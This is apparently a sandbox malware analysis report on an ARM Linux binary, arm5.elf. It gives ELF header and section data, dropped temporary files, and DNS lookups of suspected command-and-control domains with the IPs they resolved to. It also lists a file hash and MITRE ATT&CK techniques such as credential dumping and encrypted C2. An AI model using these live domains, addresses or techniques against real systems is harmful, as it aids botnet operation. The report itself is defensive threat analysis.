File Content Preview:	.ELF...a..........(.........4...0.......4. ...(.....................h...h...............l...l...l...................Q.td..................................-...L."...B8..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62000
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xe140	0x0	0x6	AX	16
.fini	PROGBITS	0x161f0	0xe1f0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x16204	0xe204	0xe64	0x0	0x2	A	4
.ctors	PROGBITS	0x1f06c	0xf06c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f074	0xf074	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f07c	0xf07c	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f080	0xf080	0x16c	0x0	0x3	WA	4
.bss	NOBITS	0x1f1ec	0xf1ec	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf1ec	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xf068	0xf068	6.0792	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf06c	0x1f06c	0x1f06c	0x180	0x1318	0.8499	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.05aIcC (deleted)

/tmp/qemu-open.0YJH7A (deleted)

/tmp/qemu-open.0oY5TE (deleted)

/tmp/qemu-open.1Ze7tC (deleted)

/tmp/qemu-open.1ZrwiF (deleted)

/tmp/qemu-open.1puWBE (deleted)

/tmp/qemu-open.2fv3zE (deleted)

/tmp/qemu-open.2qMfiF (deleted)

/tmp/qemu-open.3AuN4D (deleted)

/tmp/qemu-open.3CimDC (deleted)

/tmp/qemu-open.3evliF (deleted)

/tmp/qemu-open.3v2tID (deleted)

/tmp/qemu-open.45SXLE (deleted)

/tmp/qemu-open.4AU0mC (deleted)

/tmp/qemu-open.4OugiE (deleted)

/tmp/qemu-open.4X0kdB (deleted)

/tmp/qemu-open.4tCQHC (deleted)

/tmp/qemu-open.52ctpE (deleted)

/tmp/qemu-open.52hffF (deleted)

/tmp/qemu-open.5V9HtE (deleted)

/tmp/qemu-open.5n7FzD (deleted)

/tmp/qemu-open.5rH2eD (deleted)

/tmp/qemu-open.68zGvE (deleted)

/tmp/qemu-open.6DDuMA (deleted)

/tmp/qemu-open.6JQGYD (deleted)

/tmp/qemu-open.6U54SD (deleted)

/tmp/qemu-open.6gJE6B (deleted)

/tmp/qemu-open.6z21uB (deleted)

/tmp/qemu-open.7AyL5B (deleted)

/tmp/qemu-open.7Hzd7D (deleted)

/tmp/qemu-open.8DGi7C (deleted)

/tmp/qemu-open.8PiCNB (deleted)

Linux Analysis Report
arm5.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 03:36:00.412894011 CET	192.168.2.23	51.158.108.203	0xd33b	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:36:12.211431026 CET	192.168.2.23	194.36.144.87	0x1136	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:36:24.684258938 CET	192.168.2.23	152.53.15.127	0x786c	Standard query (0)	serisbot.geek. [malformed]	256	296	false
Dec 24, 2024 03:36:37.154660940 CET	192.168.2.23	51.158.108.203	0x9f14	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 03:36:00.651705980 CET	51.158.108.203	192.168.2.23	0xd33b	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:36:12.454972982 CET	194.36.144.87	192.168.2.23	0x1136	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:36:12.454972982 CET	194.36.144.87	192.168.2.23	0x1136	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:36:12.454972982 CET	194.36.144.87	192.168.2.23	0x1136	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:36:24.927406073 CET	152.53.15.127	192.168.2.23	0x786c	Format error (1)	serisbot.geek. [malformed]	none	none	256	296	false
Dec 24, 2024 03:36:37.393707991 CET	51.158.108.203	192.168.2.23	0x9f14	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false

Start time (UTC):	02:35:58
Start date (UTC):	24/12/2024
Path:	/tmp/arm5.elf
Arguments:	/tmp/arm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	02:35:59
Start date (UTC):	24/12/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	02:36:01
Start date (UTC):	24/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre